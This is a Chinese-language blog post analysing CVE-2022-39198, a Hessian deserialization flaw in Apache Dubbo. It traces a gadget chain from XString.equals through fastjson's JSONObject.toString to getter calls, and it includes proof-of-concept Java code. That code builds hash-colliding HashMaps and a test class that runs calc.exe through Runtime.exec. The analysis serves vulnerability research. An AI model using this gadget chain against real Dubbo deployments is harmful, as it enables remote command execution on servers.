CVE-2022-39198 Dubbo Hession反序列化漏洞

前言

无。


漏洞影响

2.7.x < version < 2.7.18

3.0.x < version < 3.0.12

3.1.x < version <= 3.1.0

环境搭建

使用IDEA新建项目,并添加dubbo依赖:

1
2
3
4
5
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.16</version>
</dependency>

可以看到dubbo同时还依赖了fastjson。

再写一段Hessian序列化和反序列化的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static byte[] serialize(Object o) {
byte[] bytes = null;
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(bos);
ho.writeObject(o);
bytes = bos.toByteArray();
}catch (Exception e) {
e.printStackTrace();
}
return bytes;
}

public static Object unserialize(byte[] bytes) {
Object o = null;
try {
ByteArrayInputStream is = new ByteArrayInputStream(bytes);
HessianInput hi = new HessianInput(is);
o = hi.readObject();
}catch (Exception e) {
e.printStackTrace();
}
return o;
}

漏洞分析

首先JDK中存在一个XString类,可以通过反序列化HashMap触发其equals函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public boolean equals(Object obj2)
{

if (null == obj2)
return false;

// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}

可以触发某一个对象的toString函数,类似BadAttributeValueExpException。

而在dubbo的fastjson依赖中,存在一个类com.alibaba.fastjson.JSON,其toString函数会调用toJSONString函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public String toString() {
return this.toJSONString();
}

public String toJSONString() {
SerializeWriter out = new SerializeWriter();

String var2;
try {
(new JSONSerializer(out)).write(this);
var2 = out.toString();
} finally {
out.close();
}

return var2;
}

这里会发生从对象到字符串的序列化过程,一般理性而言会访问该对象的getter们。

JSON是一个抽象类,所以实际使用的时候要使用其子类JSONObject。简单测试一下:

1
2
3
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", new Test());
System.out.println(jsonObject.toString());

一路来到MapSerializer的write函数,该函数会遍历JSONObject的内部Map元素开始序列化,关键代码如下:

1
preWriter.write(serializer, value, entryKey, null, features);

此时获取到的writer为JavaBeanSerializer,其write函数中会调用getter们:

1
2
3
4
5
6
7
8
9
10
// JavaBeanSerializer.write
propertyValue = fieldSerializer.getPropertyValueDirect(object);

// FieldSerializer.getPropertyValueDirect
Object fieldValue = fieldInfo.get(object);

// FieldInfo.get
return method != null
? method.invoke(javaObject)
: field.get(javaObject);

可以看到,JSONObject.toString确实会调用一个对象的getter,所以这个漏洞其实是将一个Hessian反序列化漏洞递进到一个getXXX函数调用。

不过存在一个问题,由于使用的是Hessian反序列化,所以这个getXXX函数调用的主体必须是一个可序列化的对象。

参考文章使用UnixPrintServiceLookup对象作为最后的命令执行触发点,该函数的getDefaultPrinterNameBSD函数会调用execCmd函数,execCmd函数中会有一个Runtime.getRuntime().exec()的命令执行点。此外,参考文章在测试环境中还设置了AllowNonSerializable,让UnixPrintServiceLookup这个不可序列化的对象可以正常使用。

修改一下序列化,加上两行:

1
2
3
4
5
6
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(bos);
ho.setSerializerFactory(new SerializerFactory());
ho.getSerializerFactory().setAllowNonSerializable(true);
ho.writeObject(o);
bytes = bos.toByteArray();

反序列化中不用加,看来Hessian只在序列化时检查可序列化,在反序列化时不会检查。

然而在我的Windows环境下,似乎没有UnixPrintServiceLookup这个类,随便写个测试用类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Test {
private final int cmdIndex = 0;
private final String osname = "xx";
private final String[] lpcFirstCom = new String[]{"cmd.exe", "/c", "calc.exe"};

public String[] getDefaultPrinterNameBSD() {
System.out.println("Pwn!");
try {
Runtime.getRuntime().exec(lpcFirstCom);
}catch (Exception e) {
e.printStackTrace();
}
return lpcFirstCom;
}
}

要从HashMap之类的地方触发equals函数,要求hashCode相等。这里就要用到一个神奇的知识点了:

1
2
yy
zZ

这两个字符串虽然不一样,但是它们的hashCode是一样的。也就是说,如果我们构造这样的两个成员相同但是key和value相反的HashMap:

1
2
3
4
5
6
HashMap map1 = new HashMap();
map1.put("yy", jsonObject);
map1.put("zZ", xString);
HashMap map2 = new HashMap();
map2.put("yy", xString);
map2.put("zZ", jsonObject);

由于HashMap的hashCode计算方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
// HashMap->AbstractMap
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}

// HashMap.Node
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}

即key ^ value之后加在一起,那么map1和map2的hashCode就是一样的。

如果用一个更大的HashMap以这两个HashMap为键,那么就会因为hashCode相同,触发equals函数,HashMap之间的equals函数关键部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}

简单来说就是会使用equals函数对比相同键下的value,如此一来构造的key和value相反的HashMap就能触发XString.equals(JSONObject),最后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
JSONObject jsonObject = new JSONObject();
XString xString = new XString("xx");
jsonObject.put("xx", new Test());
HashMap map1 = new HashMap();
map1.put("yy", jsonObject);
map1.put("zZ", xString);
HashMap map2 = new HashMap();
map2.put("yy", xString);
map2.put("zZ", jsonObject);
HashMap bigMap = new HashMap();
bigMap.put(map1, 1);
bigMap.put(map2, 2);
unserialize(serialize(bigMap));

参考

CVE-2022-39198 Apache Dubbo Hession Deserialization Vulnerability Gadgets Bypass

ByteCodeDL小试牛刀之CHA调用图分析


CVE-2022-39198 Dubbo Hession反序列化漏洞
http://yoursite.com/2023/01/29/CVE-2022-39198-Dubbo-Hession反序列化漏洞/
作者
Aluvion
发布于
2023年1月29日
许可协议